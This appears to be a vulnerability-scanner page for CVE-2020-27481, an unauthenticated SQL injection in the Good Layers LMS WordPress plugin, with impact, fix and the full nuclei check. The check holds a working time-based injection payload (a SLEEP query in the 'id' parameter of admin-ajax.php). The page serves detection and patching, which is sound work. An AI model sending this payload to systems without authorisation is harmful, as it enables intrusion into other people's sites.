Good Layers LMS Plugin <= 2.1.4 - SQL Injection

criticalseverity

9.8CVSS score

9.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(body, 'goodlayers-lms') || contains(body, 'goodlms')

Run it with nuclei: nuclei -id CVE-2020-27481 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-27481

info:
  name: Good Layers LMS Plugin <= 2.1.4 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of "wp_ajax_nopriv" call in WordPress, which allows any unauthenticated user to get access to the function "gdlr_lms_cancel_booking" where POST Parameter "id" was sent straight into SQL query without sanitization.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/652eaef8-5a3c-4a2d-ac60-b5414565c397
    - https://gist.github.com/0xx7/a7aaa8b0515139cf7e30c808c8d54070
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-27481
    cwe-id: CWE-89
    epss-score: 0.09762
    epss-percentile: 0.9557
    cpe: cpe:2.3:a:goodlayers:good_learning_management_system:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: goodlayers
    product: good_learning_management_system
    framework: wordpress
  tags: time-based-sqli,cve,cve2020,goodlayerslms,sqli,wpscan,goodlayers,wordpress,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - "contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from